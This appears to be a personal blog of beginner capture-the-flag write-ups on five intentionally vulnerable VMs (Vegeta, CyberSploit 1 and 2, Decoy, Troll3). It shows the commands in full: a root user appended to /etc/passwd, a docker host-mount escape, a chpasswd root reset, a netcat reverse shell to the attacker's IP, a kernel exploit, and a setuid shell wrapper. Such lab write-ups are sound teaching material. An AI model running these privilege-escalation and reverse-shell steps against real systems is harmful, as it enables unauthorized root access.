CERT – TCERT

July 27, 2020July 27, 2020

My approach to Vegeta Machine

Overview:

Target Machine IP Address: 192.168.56.46  
My Machine IP Address: 192.168.56.20

Mission:

Boot to Root

THIS IS A MACHINE FOR COMPLETE BEGINNER , GET THE FLAG AND SHARE IN THE TELEGRAM GROUP (GROUP LINK WILL BE IN FLAG.TXT)

DHCP : ENABLED
IP : AUTO ASSIGN

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- 192.168.56.46 -o nmap.log

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))

I checked source code, exiftool on image but didn’t get a good result, so I will not write those processes here (afraid it may bog you down with rabbit holes.) However, something interesting is showing at robots.txt

Note: Don’t just stop there, I missed it once.. look at the line number, something must be at the bottom

aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElDQVlBQUFDdFdLNmVBQUFIaGtsRVFWUjRuTzJad1k0c09RZ0U1LzkvK3UyMU5TdTdCd3JTaVN0QzhoR2M0SXBMOTg4L0FGanljem9BZ0RNSUFyQUJRUUEySUFqQUJnUUIySUFnQUJzUUJHQURnZ0JzUUJDQURRZ0NzQUZCQURhRUJmbjUrUmwvbk9aTFAxeER6K3g5VTA1cWJoWjFkcjRzSFQyejkwMDVxYmxaMU5uNXNuVDB6TjQzNWFUbVpsRm41OHZTMFRONzM1U1RtcHRGblowdlMwZlA3SDFUVG1wdUZuVjJ2aXdkUGJQM1RUbXB1Vm5VMmZteWRQVE0zamZscE9hdVhKUVRUamxkSHZ0YmxvNDZOUWp5UjV4eUlvZ09CUGtqVGprUlJBZUMvQkdubkFpaUEwSCtpRk5PQk5HQklIL0VLU2VDNkVDUVArS1VFMEYwakJWRS9aSGM4SEhkUHZ1RWQwZVF3N003MWFtelRIaDNCRGs4dTFPZE9zdUVkMGVRdzdNNzFhbXpUSGgzQkRrOHUxT2RPc3VFZDBlUXc3TTcxYW16VEhoM0JEazh1MU9kT3N1RWQwZVFJcWJNNENUcmhKMGhTQkZUWmtDUUdBaFN4SlFaRUNRR2doUXhaUVlFaVlFZ1JVeVpBVUZpSUVnUlUyWkFrQmdJVXNTVUdSQWtCb0lVMFRHZjAxN2UrdTRJVXNScEtSRGtXYzVsdjNEQlN4ZjFqZE5TSU1pem5NdCs0WUtYTHVvYnA2VkFrR2M1bC8zQ0JTOWQxRGRPUzRFZ3ozSXUrNFVMWHJxb2I1eVdBa0dlNVZ6MkN4ZThkRkhmT0MwRmdqekx1ZXdYTGhCL2VGazZjcm84Mm9rc2IzMTNCQkgwdkNITFc5OGRRUVE5YjhqeTFuZEhFRUhQRzdLODlkMFJSTkR6aGl4dmZYY0VFZlM4SWN0YjN4MUJCRDF2eVBMV2R5OFZaTXJwV1BDYjY2YWNEQWdTbUkrNjJTY0RnZ1RtbzI3MnlZQWdnZm1vbTMweUlFaGdQdXBtbnd3SUVwaVB1dGtuQTRJRTVxTnU5c25nOVNPMkFjcmxQN212SXd2OEg3YjVDd1NCVDlqbUx4QUVQbUdidjBBUStJUnQvZ0pCNEJPMitRc0VnVS9ZNWk4UUJENlIvUS9pMURPTFU4OHBkV3FxY3lKSTBlenFubFBxMUNBSWdveXFVNE1nQ0RLcVRnMkNJTWlvT2pVSWdpQ2o2dFFnQ0lLTXFsTnpYQkExYnhZeWk5TU1UbStVeWwvZXNSZ0VpZU0wZzlNYnBmS1hkeXdHUWVJNHplRDBScW44NVIyTFFaQTRUak00dlZFcWYzbkhZaEFranRNTVRtK1V5bC9lc1JnRWllTTBnOU1icGZLWGR5d0dRZUk0emVEMFJxbjhwYzJTUTcxWkFxZlpwd2pTVWJmc2w2cEtoRU1RajV3SUVzeWZxa3FFUXhDUG5BZ1N6SitxU29SREVJK2NDQkxNbjZwS2hFTVFqNXdJRXN5ZnFrcUVReENQbkFnU3pKK3FTb1JERUkrY0NCTE1uNm9xRHVleWpLNmVhcHdFNmNpWjdabkttS29xRHVleWpLNmVhaEFFUVI3VnFYdXFRUkFFZVZTbjdxa0dRUkRrVVoyNnB4b0VRWkJIZGVxZWFoQUVRUjdWcVh1cVFaQ0JncWcvNWpmZjEvRngzUzdXOHE2cHdia1BRUkNFK3hDa01HZnFycW5CdVE5QkVJVDdFS1F3WitxdXFjRzVEMEVRaFBzUXBEQm42cTdLY0ZtY0hzYnBvM1RLMlpGbEFnaHlPQXVDZUlNZ2g3TWdpRGNJY2pnTGduaURJSWV6SUlnM0NISTRDNEo0Z3lDSHN5Q0lONldDM1A0d1RvL3RKTEo2TDhvc0NGSjBueG9FUVpDMkxCMzNxVUVRQkduTDBuR2ZHZ1JCa0xZc0hmZXBRUkFFYWN2U2NaOGFCRUdRdGl3ZDk2bEJrSUdDZE5TcGUyYnZVMzk0Nm5mb3lPazAzN0pmdU1Ba2VGZlA3SDFPSDE3MlBuVk9wL21XL2NJRkpzRzdlbWJ2Yy9yd3N2ZXBjenJOdCt3WExqQUozdFV6ZTUvVGg1ZTlUNTNUYWI1bHYzQ0JTZkN1bnRuN25ENjg3SDNxbkU3ekxmdUZDMHlDZC9YTTN1ZjA0V1h2VStkMG1tL1pMMXhnRXJ5clovWStwdzh2ZTU4NnA5Tjh5MzdoQXZHSGZzUHlPN0pNMmFkNlp3aGkrbWdkODkyd1R3UzU3RUU3WmtjUUJMbm1RVHRtUnhBRXVlWkJPMlpIRUFTNTVrRTdaa2NRQkxubVFUdG1SNUFYQ1hJNzZnKzJBN1dRSFZrNnhFcmxUMVZkRElKNFpFRVFVeERFSXd1Q21JSWdIbGtReEJRRThjaUNJS1lnaUVjV0JERUZRVHl5akJXa1kyRDFjV0xLQitUeXdYNERRUkFFUVlUM0ljaGhFS1FXQkVFUUJCSGVoeUNIUVpCYUVBUkJFRVI0SDRJY0JrRnFzUmJFaVk2Y04zek1UaCtzK28xUy9VNEg2QUpCRUFSQk5pQUlnaURJQmdSQkVBVFpnQ0FJZ2lBYkVBUkJFR1FEZ2lESUtFRnUrTGc2NW5QSzRuVFV1MTdlRlM0d2VqUjF6bzc1bkxJNEhmV3VsM2VGQzR3ZVRaMnpZejZuTEU1SHZldmxYZUVDbzBkVDUreVl6eW1MMDFIdmVubFh1TURvMGRRNU8rWnp5dUowMUx0ZTNoVXVNSG8wZGM2TytaeXlPQjMxcnBkM2hRdU1IazJkczJNK3B5eE9SNzNyNVYzaEFxTkhVK2QwMnN1VUxOTnpJb2h4M1ExWnB1ZEVFT082RzdKTXo0a2d4blUzWkptZUUwR002MjdJTWowbmdoalgzWkJsZWs0RU1hNjdJY3YwbkFoU3hKUVoxRDJuZkMvTEhKWExjQm9ZUVR4NlR2bGVsamtxbCtFME1JSjQ5Snp5dlN4elZDN0RhV0FFOGVnNTVYdFo1cWhjaHRQQUNPTFJjOHIzc3N4UnVReW5nUkhFbytlVTcyV1pvM0laVGdNamlFZlBLZC9MTWtmbE1weVk4bEVxSC9zSlRoODZnaFNBSUxVZ1NQT2kxQ0JJTFFqU3ZDZzFDRklMZ2pRdlNnMkMxSUlnell0U2d5QzFJRWp6b3RRZ1NDMElVckNvS1NjN245TmVzcHplZmNVTTJmbFMvU29EVERrZEMzYWF3U2tuZ2d3OEhRdDJtc0VwSjRJTVBCMExkcHJCS1NlQ0REd2RDM2Fhd1NrbmdndzhIUXQybXNFcEo0SU1QQjBMZHByQktlZnJCQUY0RXdnQ3NBRkJBRFlnQ01BR0JBSFlnQ0FBR3hBRVlBT0NBR3hBRUlBTkNBS3dBVUVBTmlBSXdBWUVBZGp3SHlVRnd2VnIwS3ZGQUFBQUFFbEZUa1N1UW1DQw==

Yes, this is base64. We need to decode it.

If you wonder why I did double decoding, you might understand it by doing it with single decoding. Because output of the base64 decoded message is another base64 decoded text, therefore, I did it twice.

The decoded file is actually a PNG file, do you see the PNG in the top of the screenshot?

I have redirected the output and named the file decoded.png

It is a QR Code. Now I need to do a little shopping. Find an online tool that could read the code and spit out the message if it has any… By the way, I tried my mobile QR reader and I already got the message, however, let’s do the usual way…

I am going to use this tool to decode the message: https://zxing.org/w/decode.jspx

Password:: topshellv

However, I did Scan with Nikto and Gobuster, both gave me some information, nevertheless, so far it appears to be another rabbit hole to me though 🙂

As you can see very well that directory redirects to somewhere (which are not known yet, I am planning to run a burp suite to look into it.)

In Nikto result, there is a link which intrigued me, nevertheless, I am not sure whether it is again a rabbit hole, however, let’s keep it in our note.

I must confess here that I was not able to get anything that could be of use. So, I had to peek other people’s writeup. The author of the writeup used another custom wordlist which is not there in the list of directory database which we use normally. Therefore, I think we really need to keep this in my that if a scanner can find nothing that doesn’t mean nothing is there.

Actually, I can add the bulma word in the dictionary and act as if I find the directory using the scanner but I don’t think that is the way.

Anyway, let’s proceed with the directory http://192.168.56.46/bulma/

I am impressed with this audio file because it contents Mores Code. (I don’t know how to read the Mores Code manually, however, we can find a tool for that)

Tools to decode mores audio file: Click Here.

We got username: trunks 
password: u$3r

If you run this command, you will get to know which (system) files you could write (or modify).

find / -writable -type d 2>/dev/null

There were so many, files that I could edit. I did a quick brush. However, the last file atracks me the most.

/etc/passwd

Let’s modify this file using the findings…

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd 
which means we added a user name Tom and the password is Password@973 

su Tom 
cat root.txt

That’s it, guys… if you don’t like to enumerate manually you can use linpeas.sh tool to enumerate the box for you…

Additional Note:

I upload linpeas.sh to our target machine from my Kali Machine using SimpleHTTPServer (by the way, in order to save some time, I aliased the command with up).

July 23, 2020July 23, 2020

rooting cybersploit 2 machine ?

Overview:

Target Machine IP Address: 192.168.56.41
My Machine IP Address: 192.168.56.20

Mission:

Boot to Root

Your target is gain the Root access

There is no any flag in this VMs

Share root access with me twitter@cybersploit1

This works better with VirtualBox rather than VMware

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- 192.168.56.41 -o nmap.log

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos))

Let’s browse 192.168.56.41

Some strings are encrypted. Let’s check out the source code. (ctrl+u shortcut key)

Yes, this is a ROT47 encrypted message, I thought to write a script to do this however, let’s not waste time. Better google an online tool for this task. I used this one.

username: D92:=6?5C2 -> shailendra
password: 4J36CDA=@:E-> cybersploit1

Since the target machine is running SSH service, let’s try that.

ssh shailendra@192.168.56.41

ls -lah

We got a hint.txt

The system is running docker.

Remember always, this will be our black book of magic (gtfobins.github.io/)

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

However, in order to run this command, you need to provide the internet (at least in my case), else you might not able to download alpine/latest.

Finally, cybersploit2 is pwned!!

July 23, 2020July 23, 2020

Shelling Decoy

Overview:

Target Machine IP Address: 192.168.56.42
My Machine IP Address: 192.168.56.20

Mission:

THIS IS A MACHINE FOR COMPLETE BEGINNER, THERE ARE THREE FALGS AVAILABLE IN THIS VM.

FROM THIS VMs YOU WILL LEARN ABOUT ENCODER-DECODER & EXPLOIT-DB.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- 192.168.56.42 -o nmap.log

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdfThe zip file required a password to access it. I am not able to find anything which could be leveraged to use as password. Let’s crack it through brute force using rockyou.txt with fcrackzip tool.

 fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt save.zip

password: manuelhttps://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

We were able to get some juicy information and I am not going to write here each file, however, I am sure you know well that shadow file is the hashed form of the password for the users. I think this may be enough.

We need to break the hash, so let’s use john for the task and take necessary hashes and make it in one form.

username: 296640a3b825115a47b68fc44501c828

echo "$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us." | > ../hash.txt

ssh 296640a3b825115a47b68fc44501c828@192.168.56.42

password: server

We need to bypass the rbash restriction. I have never used it however, I have seen this in blog and youtube vidoes by IPPSec.

If you want to know more about rbash bypass, you can read it from here.

From that pdf resources, I tried all the commands and it didn’t work. However, as I tried the following Advance Techniques part, it no longer gives me

ssh 296640a3b825115a47b68fc44501c828@192.168.56.42 -t "bash --noprofile"

Now we can see that it no longer showing us rbash restriction rather command not found which means, the binary or the command path needs to be fixed here.

What I tried was I echo the PATH of my Kali Machine and copied this path and set it to the target machine. Perhaps you might understand it better if you see this screenshot.

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/go/bin/:/root/go-workspace/bin

Ok, let’s download pspy on Kali Machine and they transfer that to out targetted machine. I use SimpleHTTPServer to do the work, of course, you can have your own method 🙂

Let’s do a searchexploit chkrootkit or search chkrootkit on google (it will show exploit-db which is GUI of searchsploit).

When we read the exploit steps (like how to configure and how to use it), it tells us this..

The steps are quite self-explanatory, however, what I did here is, I checked the location of the NC program in the target box and then let it run /bin/sh with port 1234, to reverse a connection to IP address 192.168.56.33 (My Kali Machine). Of course, as per the instruction we need to give execution permission to out executable file

Note: I checked the cron entry and I was not able to find any relevant information that whether update (which we have created) is running nor I found chkrootkit related. Interestingly when I check the process through pspy64, periodically /tmp/update is running. Therefore, we can leverage that to our purpose. By the way, this might be because when we run this program honeypot.decoy, it triggers the chkrootkit.

Exploit 1:

#!/bin/bash
echo 'root:tcert.net' | sudo chpasswd

save it as update (by the way, you have to use nano editor this time because if I am not wrong vi editor is not available)

chmod +s update  (I sipped tea and look around) and then 

su - root 

password: tcert.net

Exploit 2: (It didn’t work for me. I need to dig little deeper)

echo "/usr/bin/nc -e /bin/sh 192.168.56.33:1234" > update
chmod +x update

That’s all guys 🙂

July 22, 2020

Let’s pwn cybersploit machine

Overview:

Target Machine IP Address: 192.168.56.40
My Machine IP Address: 192.168.56.20

Mission:

THIS IS A MACHINE FOR COMPLETE BEGINNER, THERE ARE THREE FALGS AVAILABLE IN THIS VM.

FROM THIS VMs YOU WILL LEARN ABOUT ENCODER-DECODER & EXPLOIT-DB.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- 192.168.56.40 -o nmap.log

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

username:itsskv

cybersploit

CyBeRSplOiT

I ran nikto but didn’t get information but gobuster did give me something..

gobuster dir -u 192.168.56.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log

http://192.168.56.40/robots.txt

R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9

Let’s decrypt the string…

echo "R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9" | base64 -d

Flag1: cybersploit{youtube.com/c/cybersploit}

By the way, you might be wondering what is at http://192.168.56.40/hacker (it was just a gif).

Ok since, we got the username: itsskv

And password: cybersploit{youtube.com/c/cybersploit}

And the box is running ssh, how about we try that first?

ssh itsskv@192.168.56.40

ls -lah

cat flag2.txt

I used this website to decrypt. https://cryptii.com/pipes/binary-to-english

good work !
flag2: cybersploit{https:t.me/cybersploit1}

uname -a

3.13.0-32-generic

Google 3.13.0-32-generic exploit searchsploit didn’t work for me (I will figure this out later)

https://www.exploit-db.com/exploits/37292

 gcc 37292.c -o exploit

./exploit

flag3: cybersploit{Z3X21CW42C4 many many congratulations !}

That’s it guys! Going to have breakfast now … little hungry lol

Wish you a productive day!!

July 9, 2020July 11, 2020

Writeup for Troll3 machine

Overview:

Pumpkin Raising Machine IP Address: 192.168.56.26
My Machine IP Address: 192.168.56.1

Mission:

To gain access to root and read the flag file Flag.txt.

To know the IP address of the Target Machine:

sudo arp-scan --interface=vboxnet0 192.168.56.1/24

Scanning the Network

nmap -sC -sV -p- 192.168.56.26 -o nmap.log

sC default nmap script
sV reveal what services are running on the target machine with respective version numbers
-p- it means scan all the ports (65535)
-o ouput save to nmap.log

When I look at the vm, I can see that there is start:here. I tried ssh with start as username and here as the password

Since the user “start” not a sudo user therefore, I was not able to know what sudo command it could run.

However, there were two folders.

bluepill
- awesome_work
redpill
- this_will_surely_work

Both awesome_work and this_will_surely_work are ASCII text file.

bluepill has a shorten link, I am afraid it might automatically do some drive-by attack at hind, so let’s do a virustotal scan.

Virustotal report didn’t show any threat. (nevertheless, some good cryptor could bypass such scan and let’s not discuss it here)

Now, let’s unshorten the link. There are many free services available online and you can choose based on your preference.

Ok, it’s just a rabbit hole.

cat redpill/this_will_surely_work

Another rabbit hole : (

Let’s enumerate the target machine, whether it has only binary or file which has enabled SUID or SGID.

find / -perm 0777 -type f 2>/dev/null

Since, I am using uBuntu Desktop, I need to install openssh-server package to receive binaries from the target machine.

sudo apt install openssh-server -y

sudo systemctl start ssh

scp /var/log/.dist-manage/wytshadow.cap researcher@192.168.56.1:/home/researcher/vulhub/Troll3/2

Narration: I am trying to transfer wytshadow.pcap file from the victim machine to my local machine at /home/researcher/vulhub/Troll3/2

Transfer the gold_star.txt (looks like it is list of password dictionary)

We can analyze the wytshadow.cap with Wireshark (GUI) software. However, we will try to analyze it with tcpdump (Terminal) software.

tcpdump pending

By the look of it, I am going to guess wytshadow as username and password are in the .cap file.

We can crack the password using aircrack-ng package with password dictionary list which we got from the victim machine – gold_star.txt .

aircrack-ng -w gold_star.txt wytshadow.cap

gaUoCe34t1

ssh wytshadow@192.168.56.26

password: gaUoCe34t1

./oohfun

control+c to stop the execution

I checked crontab and no entry was there.

let’s figure out whether any sudo enabled binary is there.

password: gaUoCe34t1

Yes, we got something

Let’s checkout nginx configuration file, enumerate on which port it is listening. You might think why I am all of sudden taking interest in the config file. It’s because sudo is enabled on nginx. Therefore, I am trying to find some information which could be leveraged.

cat /etc/nginx/sites-enabled/default

You can see that there is a service Lynx is going to run on port 8080, if nginx runs.

Let’s verify whether is there any process running with port 8080.

netstat -ntap

Actually, this is a redundant task because we know that from the nmap.log result, we can conclude that no service is running on port 8080.

Anyway, let’s start the nginx service and, I need to google and get to know little bit about Lynx service

/usr/sbin/service nginx start

now, Lynx is listening at port 8080.

I understood now the usage of Lynx. It is more like a browser for the command line. You can read more from here.

For our purpose, what we can do is

lynx http://192.168.56.26:8080

genphlux:HF9nd0cR!

ssh genphlux@192.168.56.26

password: HF9nd0cR!

cat maleus

copied the content of the maleus to key

chmod 400 key

In my opinion, there might be username maleus and ssh key is the above key. Shall we try that ?

ssh maleus@192.168.56.26 -i key

indeed, it did work!

ls

dont_even_bother

file dont_even_bother

We understood it is an ELF 64-bit LSB executable.

Let’s execute it. (This approach is risk and provided you are a malware analyst, don’t execute anything on your host machine but virtual machine).

./dont_even_bother

It is expecting a password and I did try things which I could think of. No luck 🙁

Let me run a strings command

strings dont_even_bother | less

We got something interesting
screenshot
xl8Fpx%6

just a rabbit hole

cat /etc/os-release

VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

I am a little desperate here because I was not able to find anything useful. I checked the kernel version, OS release, crontab entries, history, etc..

When I tried
cat .viminfo | less
guess what I got ?

password: B^slc8I$ (I am not sure the use of it).

Shall we try sudo -i ?

No, it is not the password: B^slc8I$ (let’s keep with us a little while)

I tried sudo -l
password: B^slc8I$

Yeh! Finally…

We can use an exploit to escalate the privilege to root user.. because dont_even_bother is running with root privilege..

vi dont_even_bother

#include
#include
#include<sys/types.h>

int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}

:wq! (To get out from vim – for new users)
source code credit

To compile it

gcc dont_even_bother.c -o dont_even_bother

some gibberish error may come, don’t worry about those..

Let’s execute our code

sudo ./dont_even_bother